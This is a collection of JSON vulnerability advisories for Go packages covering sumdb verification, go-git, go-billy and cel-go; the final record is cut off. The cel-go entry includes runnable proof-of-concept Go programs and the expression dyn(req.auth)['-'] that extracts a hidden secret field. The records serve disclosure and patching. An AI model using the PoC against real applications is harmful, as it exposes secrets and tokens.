{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "cvssV3_1": {
              "attackComplexity": "LOW",
              "attackVector": "NETWORK",
              "availabilityImpact": "NONE",
              "baseScore": 7.5,
              "baseSeverity": "HIGH",
              "confidentialityImpact": "HIGH",
              "integrityImpact": "NONE",
              "privilegesRequired": "NONE",
              "scope": "UNCHANGED",
              "userInteraction": "NONE",
              "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
              "version": "3.1"
            }
          },
          {
            "other": {
              "content": {
                "id": "CVE-2026-56864",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "yes"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-08-14T16:16:37.911009Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "problemTypes": [
          {
            "descriptions": [
              {
                "cweId": "CWE-347",
                "description": "CWE-347 Improper Verification of Cryptographic Signature",
                "lang": "en",
                "type": "CWE"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-08-14T16:16:42.248Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "collectionURL": "https://pkg.go.dev",
          "defaultStatus": "unaffected",
          "packageName": "cmd/go",
          "product": "cmd/go",
          "vendor": "Go toolchain",
          "versions": [
            {
              "lessThan": "1.25.13",
              "status": "affected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThan": "1.26.6",
              "status": "affected",
              "version": "1.26.0-0",
              "versionType": "semver"
            },
            {
              "lessThan": "1.27.0-rc.3",
              "status": "affected",
              "version": "1.27.0-0",
              "versionType": "semver"
            }
          ]
        },
        {
          "collectionURL": "https://pkg.go.dev",
          "defaultStatus": "unaffected",
          "packageName": "golang.org/x/mod/sumdb",
          "product": "golang.org/x/mod/sumdb",
          "programRoutines": [
            {
              "name": "Client.Lookup"
            }
          ],
          "vendor": "golang.org/x/mod",
          "versions": [
            {
              "lessThan": "0.40.0",
              "status": "affected",
              "version": "0",
              "versionType": "semver"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "value": "mundur"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "A malicious GOSUMDB was capable of serving arbitrary module content not contained within the transparency log. This attack allows for a coordinating GOPROXY and GOSUMDB to serve a client malicious module content that cannot be detected by evaluating the transparency log. In order to determine if you have been affected:   rm -r go.sum go.work.sum vendor/ \u0026\u0026 go mod tidy"
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "description": "CWE-347: Improper Verification of Cryptographic Signature",
              "lang": "en"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-08-13T21:58:53.605Z",
        "orgId": "1bb62c36-49e3-4200-9d77-64a1400537cc",
        "shortName": "Go"
      },
      "references": [
        {
          "url": "https://go.dev/issue/80745"
        },
        {
          "url": "https://groups.google.com/g/golang-announce/c/94pEornpRlI"
        },
        {
          "url": "https://go.dev/cl/815000"
        },
        {
          "url": "https://go.dev/cl/815020"
        },
        {
          "url": "https://pkg.go.dev/vuln/GO-2026-6180"
        }
      ],
      "title": "Ignore unrelated, unauthenticated hashes in Lookup in golang.org/x/mod/sumdb"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "1bb62c36-49e3-4200-9d77-64a1400537cc",
    "assignerShortName": "Go",
    "cveId": "CVE-2026-56864",
    "datePublished": "2026-08-13T21:58:53.605Z",
    "dateReserved": "2026-06-23T15:10:49.354Z",
    "dateUpdated": "2026-08-14T16:16:42.248Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "cvssV3_1": {
              "attackComplexity": "LOW",
              "attackVector": "LOCAL",
              "availabilityImpact": "HIGH",
              "baseScore": 8.4,
              "baseSeverity": "HIGH",
              "confidentialityImpact": "HIGH",
              "integrityImpact": "HIGH",
              "privilegesRequired": "NONE",
              "scope": "UNCHANGED",
              "userInteraction": "NONE",
              "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
              "version": "3.1"
            }
          },
          {
            "other": {
              "content": {
                "id": "CVE-2026-56865",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-08-14T15:33:28.143873Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "problemTypes": [
          {
            "descriptions": [
              {
                "cweId": "CWE-347",
                "description": "CWE-347 Improper Verification of Cryptographic Signature",
                "lang": "en",
                "type": "CWE"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-08-14T15:34:17.235Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "collectionURL": "https://pkg.go.dev",
          "defaultStatus": "unaffected",
          "packageName": "cmd/go",
          "product": "cmd/go",
          "vendor": "Go toolchain",
          "versions": [
            {
              "lessThan": "1.25.13",
              "status": "affected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThan": "1.26.6",
              "status": "affected",
              "version": "1.26.0-0",
              "versionType": "semver"
            },
            {
              "lessThan": "1.27.0-rc.3",
              "status": "affected",
              "version": "1.27.0-0",
              "versionType": "semver"
            }
          ]
        },
        {
          "collectionURL": "https://pkg.go.dev",
          "defaultStatus": "unaffected",
          "packageName": "golang.org/x/mod/sumdb/tlog",
          "product": "golang.org/x/mod/sumdb/tlog",
          "programRoutines": [
            {
              "name": "tileHashReader.ReadHashes"
            }
          ],
          "vendor": "golang.org/x/mod",
          "versions": [
            {
              "lessThan": "0.40.0",
              "status": "affected",
              "version": "0",
              "versionType": "semver"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "value": "Filippo Valsorda (Geomys)"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "A malicious GOPROXY was previously capable of forging up to two sumdb tiles that allow for a requested module to bypass the GOSUMDB check and persist attacker-controlled module content to a local Go module cache. This attack allows for a malicious GOPROXY to serve malicious module content that cannot be detected by evaluating the transparency log. All tiles are now correctly verified against their parents. In order to determine if you have been affected:   rm -r go.sum go.work.sum vendor/ \u0026\u0026 go mod tidy"
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "description": "CWE-347: Improper Verification of Cryptographic Signature",
              "lang": "en"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-08-13T21:58:53.475Z",
        "orgId": "1bb62c36-49e3-4200-9d77-64a1400537cc",
        "shortName": "Go"
      },
      "references": [
        {
          "url": "https://go.dev/issue/80744"
        },
        {
          "url": "https://groups.google.com/g/golang-announce/c/94pEornpRlI"
        },
        {
          "url": "https://go.dev/cl/814960"
        },
        {
          "url": "https://go.dev/cl/815020"
        },
        {
          "url": "https://pkg.go.dev/vuln/GO-2026-6179"
        }
      ],
      "title": "Fix transparency log tile verification bypass in golang.org/x/mod/sumdb/tlog"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "1bb62c36-49e3-4200-9d77-64a1400537cc",
    "assignerShortName": "Go",
    "cveId": "CVE-2026-56865",
    "datePublished": "2026-08-13T21:58:53.475Z",
    "dateReserved": "2026-06-23T15:10:49.354Z",
    "dateUpdated": "2026-08-14T15:34:17.235Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 6.0.0-alpha.2"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/go-git/go-git/v6"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "6.0.0-alpha.1"
            },
            {
              "fixed": "6.0.0-alpha.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/go-git/go-git/v5"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "5.19.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-45022"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-180",
      "CWE-345"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-11T14:48:12Z",
    "nvd_published_at": "2026-05-27T15:16:29Z",
    "severity": "HIGH"
  },
  "details": "### Impact\n`go-git` may parse malformed Git objects in a way that differs from upstream Git. When `commit` or `tag` objects contain ambiguous or malformed headers, `go-git`\u2019s decoded representation may expose values differently from how Git itself would interpret or reject the same object.\n\nAdditionally, `go-git`\u2019s commit signing and verification logic operates over commit data reconstructed from `go-git`\u2019s parsed representation rather than the original raw object bytes. As a result, `go-git` may sign or verify a commit payload that is not byte-for-byte equivalent to the object stored in the repository.\n\nThis can cause a signature to appear valid for a commit whose displayed or effective metadata differs from the object that was intended to be signed.\n\n### Patches\nUsers should upgrade to a patched version in order to mitigate this vulnerability. Versions prior to v5 are likely to be affected, users are recommended to upgrade to a supported `go-git` version.\n\n### Credit\n\nThanks to @bugbunny-research (https://bugbunny.ai/) for reporting this to `sigstore/gitsign`, and to @wlynch, @patzielinski and @adityasaky for coordinating the disclosure with the `go-git` project. :bow: :1st_place_medal: \n\nThanks to @wayphinder for reporting this to the `go-git` project. :bow:",
  "id": "GHSA-389r-gv7p-r3rp",
  "modified": "2026-06-08T23:42:41Z",
  "published": "2026-05-11T14:48:12Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/go-git/go-git/security/advisories/GHSA-389r-gv7p-r3rp"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45022"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/go-git/go-git"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:H/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:H/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "go-git\u0027s improper parsing of specially crafted objects may lead to inconsistent interpretation compared to upstream Git"
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 5.19.0"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/go-git/go-git/v5"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "5.19.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 6.0.0-alpha.3"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/go-git/go-git/v6"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "6.0.0-alpha.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/go-git/go-git"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "44.7.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-45571"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-19T15:38:39Z",
    "nvd_published_at": "2026-05-27T15:16:30Z",
    "severity": "MODERATE"
  },
  "details": "### Impact\nA path validation issue in `go-git` could allow crafted repository data to affect files outside the intended checkout target, including the repository\u0027s `.git` directory.\n\nThese validations were introduced in upstream Git years ago, so the vulnerability arose from go-git drifting from those checks. Some attack vectors were platform-specific: certain payloads affected only Windows users, others affected only macOS users, and some applied across all supported platforms.\n\nUsing non-descendant `go-billy` filesystem instances, or different filesystem types, for the `Storer` and `Worktree` may provide some isolation against `.git` directory manipulation. For example, users that store the `.git` directory through `memfs` while using `osfs` for the worktree are not affected by this vulnerability in the main repository, because repository metadata is not materialized inside the worktree filesystem.\n\nHowever, this isolation does not necessarily apply when the repository contains submodules, since submodule dotgit directories may still be represented or materialized within the worktree context.\n\nIt is important to note that exploitation requires a maliciously crafted repository payload. Users should always exercise caution when interacting with repositories or Git servers they do not trust.\n\n### Patches\nUsers should upgrade to a patched version in order to mitigate this vulnerability. Versions prior to `v5` are likely to be affected, users are recommended to upgrade to a supported go-git version.\n\n### Credits\nThanks to @kodareef5, @AyushParkara and @N0zoM1z0 for reporting this to the go-git project in three separate reports. \ud83d\ude47",
  "id": "GHSA-crhj-59gh-8x96",
  "modified": "2026-06-08T23:43:04Z",
  "published": "2026-05-19T15:38:39Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/go-git/go-git/security/advisories/GHSA-crhj-59gh-8x96"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45571"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/go-git/go-git"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "go-git: Crafted repositories may modify main and submodule .git directories"
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.28.1"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/google/cel-go"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.22.0"
            },
            {
              "fixed": "0.29.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-495"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-24T16:48:56Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "The function `ext.NativeTypes(ParseStructTag(\"json\"))` does not honour the `encoding/json` skip directive `json:\"-\"`. Fields tagged `json:\"-\"` are registered in the CEL type system under the literal name `\"-\"` and are readable from any user-submitted CEL expression via `dyn(obj)[\"-\"]`. \n\nAdditionally, `newNativeTypes` silently registers every nested struct reachable from the type passed to `NativeTypes`, including types from third-party dependencies the developer never examined.\n\n## Root cause\n\nIn `fieldNameByTag`, the helper used by `ParseStructTag(\"json\")` to translate Go struct tags into CEL field names.\n\nSee at `ext/native.go:146`:\n\n```go\nfunc fieldNameByTag(structTagToParse string) func(field reflect.StructField) string {\n    return func(field reflect.StructField) string {\n        tag, found := field.Tag.Lookup(structTagToParse)\n        if found {\n            splits := strings.Split(tag, \",\")\n            if len(splits) \u003e 0 {\n                // We make the assumption that the leftmost entry in the tag is the name.\n                // This seems to be true for most tags that have the concept of a name/key, such as:\n                // https://pkg.go.dev/encoding/xml#Marshal\n                // https://pkg.go.dev/encoding/json#Marshal\n                // https://pkg.go.dev/go.mongodb.org/mongo-driver/bson#hdr-Structs\n                // https://pkg.go.dev/go.yaml.in/yaml/v3#Marshal\n                name := splits[0]\n                return name\n            }\n        }\n\n        return field.Name\n    }\n}\n```\n\nFor a field tagged `json:\"-\"`, this code splits the tag into `[]string{\"-\"}` and returns `\"-\"` as the CEL field name. It never checks whether `\"-\"` is the JSON skip sentinel.\n\nThis contradicts the `encoding/json` rule that the source comment explicitly points readers to:\n\n```text\nAs a special case, if the field tag is \"-\", the field is always omitted. Note\nthat a field with name \"-\" can still be generated using the tag \"-,\".\n```\n\nThe public option also documents JSON-style parsing as the intended behavior.\nSee at `ext/native.go:190`:\n\n```go\n// ParseStructTag configures the struct tag to parse. The 0th item in the tag is used as the name of the CEL field.\n// For example:\n// If the tag to parse is \"cel\" and the struct field has tag cel:\"foo\", the CEL struct field will be \"foo\".\n// If the tag to parse is \"json\" and the struct field has tag json:\"foo,omitempty\", the CEL struct field will be \"foo\".\nfunc ParseStructTag(tag string) NativeTypesOption {\n    return func(ntp *nativeTypeOptions) error {\n        ntp.fieldNameHandler = fieldNameByTag(tag)\n        return nil\n    }\n}\n```\n\nA developer using `ParseStructTag(\"json\")` is therefore led to expect `encoding/json` field-name semantics. Instead, `json:\"-\"` is treated as a real field name.\n\nThe bad name is accepted during native type construction. `newNativeType` checks for duplicate field names, but it does not reject or skip empty names or skip sentinels.\n\nSee at `ext/native.go:663`:\n\n```go\nif fieldNameHandler != nil {\n    fieldNames := make(map[string]struct{})\n\n    for idx := 0; idx \u003c refType.NumField(); idx++ {\n        field := refType.Field(idx)\n        fieldName := toFieldName(fieldNameHandler, field)\n\n        if _, found := fieldNames[fieldName]; found {\n            return nil, fmt.Errorf(\"invalid field name `%s` in struct `%s`: %w\", fieldName, refType.Name(), errDuplicatedFieldName)\n        } else {\n            fieldNames[fieldName] = struct{}{}\n        }\n    }\n}\n```\n\nOnce accepted, the field becomes part of CEL\u0027s view of the type. Field enumeration reports it as a normal field name.\n\nSee at `ext/native.go:286`:\n\n```go\nfunc (tp *nativeTypeProvider) FindStructFieldNames(typeName string) ([]string, bool) {\n    if t, found := tp.nativeTypes[typeName]; found {\n        fieldCount := t.refType.NumField()\n        fields := make([]string, fieldCount)\n        for i := 0; i \u003c fieldCount; i++ {\n            fields[i] = toFieldName(tp.options.fieldNameHandler, t.refType.Field(i))\n        }\n        return fields, true\n    }\n    if celTypeFields, found := tp.baseProvider.FindStructFieldNames(typeName); found {\n        return celTypeFields, true\n    }\n    return tp.baseProvider.FindStructFieldNames(typeName)\n}\n```\n\nField lookup also treats the name as valid and returns the underlying Go field value.\n\nSee at `ext/native.go:303`:\n\n```go\nfunc (tp *nativeTypeProvider) FindStructFieldType(typeName, fieldName string) (*types.FieldType, bool) {\n    t, found := tp.nativeTypes[typeName]\n    if !found {\n        return tp.baseProvider.FindStructFieldType(typeName, fieldName)\n    }\n    refField, isDefined := t.hasField(fieldName)\n    if !found || !isDefined {\n        return nil, false\n    }\n\n    return \u0026types.FieldType{\n        IsSet: func(obj any) bool {\n            refVal := reflect.Indirect(reflect.ValueOf(obj))\n            refField := refVal.FieldByName(refField.Name)\n            return !refField.IsZero()\n        },\n        GetFrom: func(obj any) (any, error) {\n            refVal := reflect.Indirect(reflect.ValueOf(obj))\n            refField := refVal.FieldByName(refField.Name)\n            return getFieldValue(refField), nil\n        },\n    }, true\n}\n```\n\nAt runtime, native objects advertise index access.\nSee at `ext/native.go:37`:\n\n```go\nvar (\n    nativeObjTraitMask = traits.FieldTesterType | traits.IndexerType\n)\n```\n\nBecause `traits.IndexerType` is present, a user expression can bypass ordinary field syntax and read the registered `\"-\"` field with bracket access:\n\n```cel\ndyn(req.auth)[\"-\"]\n```\n\nThe same mistaken name is also used when converting native objects to JSON-like CEL values. `ConvertToNative(jsonStructType)` iterates all Go struct fields, computes the CEL field name, and inserts it into the output map without applying the JSON skip rule.\n\nSee at `ext/native.go:501`:\n\n```go\ncase jsonStructType:\n    refVal := reflect.Indirect(o.refValue)\n    refType := refVal.Type()\n    fields := make(map[string]*structpb.Value, refVal.NumField())\n    for i := 0; i \u003c refVal.NumField(); i++ {\n        fieldType := refType.Field(i)\n        fieldValue := refVal.Field(i)\n        if !fieldValue.IsValid() || fieldValue.IsZero() {\n            continue\n        }\n        fieldName := toFieldName(o.valType.fieldNameHandler, fieldType)\n        fieldCELVal := o.NativeToValue(fieldValue.Interface())\n        fieldJSONVal, err := fieldCELVal.ConvertToNative(jsonValueType)\n        if err != nil {\n            return nil, err\n        }\n        fields[fieldName] = fieldJSONVal.(*structpb.Value)\n    }\n    return \u0026structpb.Struct{Fields: fields}, nil\n```\n\nThis means a `json:\"-\"` secret is exposed in two ways: it can be read directly through CEL indexing as `dyn(obj)[\"-\"]`, and it can appear under the key `\"-\"` in JSON struct conversion output.\n\nThe blast radius is widened by `newNativeTypes`, which registers not only the type explicitly passed to `NativeTypes`, but also every nested struct reachable from its fields.\n\nSee at `ext/native.go:609`:\n\n```go\nfunc newNativeTypes(fieldNameHandler NativeTypesFieldNameHandler, rawType reflect.Type) ([]*nativeType, error) {\n    nt, err := newNativeType(fieldNameHandler, rawType)\n    if err != nil {\n        return nil, err\n    }\n    result := []*nativeType{nt}\n\n    var iterateStructMembers func(reflect.Type)\n    iterateStructMembers = func(t reflect.Type) {\n        if k := t.Kind(); k == reflect.Pointer || k == reflect.Slice || k == reflect.Array || k == reflect.Map {\n            iterateStructMembers(t.Elem())\n            return\n        }\n        if t.Kind() != reflect.Struct {\n            return\n        }\n\n        nt, ntErr := newNativeType(fieldNameHandler, t)\n        if ntErr != nil {\n            err = ntErr\n            return\n        }\n        result = append(result, nt)\n\n        for idx := 0; idx \u003c t.NumField(); idx++ {\n            iterateStructMembers(t.Field(idx).Type)\n        }\n    }\n    iterateStructMembers(rawType)\n\n    return result, err\n}\n```\n\nAs a result, a developer can register one apparently safe request type while a nested dependency type is silently registered too. If that nested type contains a `json:\"-\"` secret, CEL still receives a readable field named `\"-\"` even though the developer never registered or audited that nested type directly.\n\n## Reproduction\n\n```go\npackage main\n\nimport (\n    \"fmt\"\n    \"reflect\"\n\n    \"github.com/google/cel-go/cel\"\n    \"github.com/google/cel-go/ext\"\n)\n\n// Simulates a library type; developer never registers this directly.\ntype AuthCtx struct {\n    UserID string `json:\"userId\"`\n    Secret string `json:\"-\"` // server-internal; never appears in JSON output\n}\n\n// Developer registers only this type.\ntype Req struct{ Auth AuthCtx `json:\"auth\"` }\n\nfunc main() {\n    env, _ := cel.NewEnv(\n        // Only Req is passed; AuthCtx is registered silently by newNativeTypes.\n        ext.NativeTypes(reflect.TypeOf(Req{}), ext.ParseStructTag(\"json\")),\n        cel.Variable(\"req\", cel.ObjectType(\"main.Req\")),\n    )\n    ast, _ := env.Compile(`dyn(req.auth)[\"-\"]`)\n    prg, _ := env.Program(ast)\n    out, _, _ := prg.Eval(map[string]any{\n        \"req\": Req{Auth: AuthCtx{UserID: \"alice\", Secret: \"sk-live-s3cr3t\"}},\n    })\n    fmt.Println(out) // sk-live-s3cr3t\n}\n```\n\n**Expected:** expression compile error or empty result; `json:\"-\"` field should not be\naccessible.  \n**Actual:** `sk-live-s3cr3t`; the server-injected secret is returned verbatim.\n\nThe same field is also included under key `\"-\"` in `ConvertToNative(jsonStructType)`\noutput, and appears in `FindStructFieldNames` enumeration.\n\n### path 1. CEL indexing\n\nTested against the released module `github.com/google/cel-go v0.28.1`\n(latest stable release as of 2026-05-12), using the `go.mod` entry:\n\n```\nrequire github.com/google/cel-go v0.28.1\n```\n\nRunning the PoC above (`go run main.go`) produces:\n\n```\nsk-live-s3cr3t\n```\n\nThe secret value is returned verbatim, with no error at compile time or at runtime.\n\n### Path 2. `ConvertToNative(jsonStructType)`\n\nWhen the `nativeObj` for the `AuthCtx` value is converted to a Protobuf `Struct`\n(the representation used whenever CEL output is serialised to JSON), the\n`json:\"-\"` field appears in the output map under the key `\"-\"`.\n\n```go\npackage main\n\nimport (\n    \"encoding/json\"\n    \"fmt\"\n    \"reflect\"\n\n    \"github.com/google/cel-go/cel\"\n    \"github.com/google/cel-go/ext\"\n\n    structpb \"google.golang.org/protobuf/types/known/structpb\"\n)\n\ntype AuthCtxConv struct {\n    UserID string `json:\"userId\"`\n    Secret string `json:\"-\"` // should never appear in JSON output\n}\n\ntype ReqConv struct{ Auth AuthCtxConv `json:\"auth\"` }\n\nfunc main() {\n    env, _ := cel.NewEnv(\n        ext.NativeTypes(reflect.TypeOf(ReqConv{}), ext.ParseStructTag(\"json\")),\n        cel.Variable(\"req\", cel.ObjectType(\"main.ReqConv\")),\n    )\n\n    ast, _ := env.Compile(`req.auth`)\n    prg, _ := env.Program(ast)\n    out, _, _ := prg.Eval(map[string]any{\n        \"req\": ReqConv{Auth: AuthCtxConv{UserID: \"alice\", Secret: \"sk-live-s3cr3t\"}},\n    })\n\n    jsonStructType := reflect.TypeOf(\u0026structpb.Struct{})\n    raw, _ := out.ConvertToNative(jsonStructType)\n\n    st := raw.(*structpb.Struct)\n    b, _ := json.MarshalIndent(st.AsMap(), \"\", \"  \")\n    fmt.Printf(\"ConvertToNative(jsonStructType) output:\\n%s\\n\", b)\n    fmt.Printf(\"\\nDirect field access via \\\"-\\\" key present: %v\\n\", st.Fields[\"-\"] != nil)\n    if v, ok := st.Fields[\"-\"]; ok {\n        fmt.Printf(\"Value: %s\\n\", v.GetStringValue())\n    }\n}\n```\n\nRunning the PoC above produces:\n\n```\nConvertToNative(jsonStructType) output:\n{\n  \"-\": \"sk-live-s3cr3t\",\n  \"userId\": \"alice\"\n}\n\nDirect field access via \"-\" key present: true\nValue: sk-live-s3cr3t\n```\n\nThe `\"-\"` key is present in the serialised Protobuf struct alongside `userId`.\nAny system that converts a CEL evaluation result to JSON (e.g. via `structpb.Struct`) will include the secret in the output, regardless of whether the `dyn()[\"-\"]` indexing path is used.\n\n## Impact\n\nAny user who can submit CEL expressions to an application that uses `ext.NativeTypes(ParseStructTag(\"json\"))` can read struct fields that the developer explicitly marked `json:\"-\"` to keep out of serialised output. By writing `dyn(obj)[\"-\"]`, the attacker retrieves the raw Go field value, typically a secret, internal token, or private identifier, with no compile-time or runtime error. Because `newNativeTypes` silently registers every nested struct reachable from the root type, the attacker may also reach secrets in dependency types the developer never intended to expose to CEL.\n\n## Remediation\n\nDo not treat `json:\"-\"` as a CEL field named `\"-\"`. Model it as an explicit skipped field, not as an empty string field name.\n\nUpdate the struct-tag parsing path so exact `json:\"-\"` returns \u201cskip this field\u201d, while `json:\"-,\"` continues to mean the literal field name `\"-\"`, matching `encoding/json` semantics.\n\nApply that skip decision consistently anywhere native fields are exposed or resolved:\n\n- duplicate-name validation in `newNativeType`\n- field enumeration in `FindStructFieldNames`\n- field type lookup in `FindStructFieldType`\n- runtime lookup in `fieldByName` / `hasField`\n- object construction in `NewValue`\n- JSON conversion in `ConvertToNative(jsonStructType)`\n\nApply the same omit handling for `xml:\"-\"`, `yaml:\"-\"`, and `bson:\"-\"` where `ParseStructTag` is used.",
  "id": "GHSA-gcjh-h69q-9w9g",
  "modified": "2026-07-24T16:48:56Z",
  "published": "2026-07-24T16:48:56Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/cel-expr/cel-go/security/advisories/GHSA-gcjh-h69q-9w9g"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/cel-expr/cel-go"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "cel-go: JSON Private Fields Exposed via NativeTypes and ParseStructTag"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/go-git/go-billy/v5"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "5.9.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/go-git/go-billy/v6"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "6.0.0-alpha.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-44740"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-674",
      "CWE-835"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-13T15:29:47Z",
    "nvd_published_at": "2026-06-01T17:17:08Z",
    "severity": "MODERATE"
  },
  "details": "### Impact\nMultiple components may improperly handle crafted or malformed input, resulting in panics, infinite loops, uncontrolled recursion, or excessive resource consumption.\n\nThese issues arise from insufficient validation and missing safety mechanisms such as cycle detection, recursion limits, or defensive handling of unexpected states when processing untrusted repository data and filesystem structures.\n\n### Patches\nUsers should upgrade to a patched version in order to mitigate this vulnerability. Versions prior to `v5` are likely to be affected, users are recommended to upgrade to a supported `go-billy` version.\n\n### Credits\nThanks to @faran66 for finding and reporting this issue privately to the go-git project. \ud83d\ude47",
  "id": "GHSA-m3xc-h892-ggx6",
  "modified": "2026-06-09T10:50:07Z",
  "published": "2026-05-13T15:29:47Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/go-git/go-billy/security/advisories/GHSA-m3xc-h892-ggx6"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44740"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/go-git/go-billy"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-git/go-billy/releases/tag/v5.9.0"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-git/go-billy/releases/tag/v6.0.0-alpha.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "go-billy: Lack of depth and cycle detection in symlink resolution may lead to infinite loops and resource exhaustion"
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 5.19.0"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/go-git/go-git/v5"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "5.19.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 6.0.0-alpha.3"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/go-git/go-git/v6"
      },
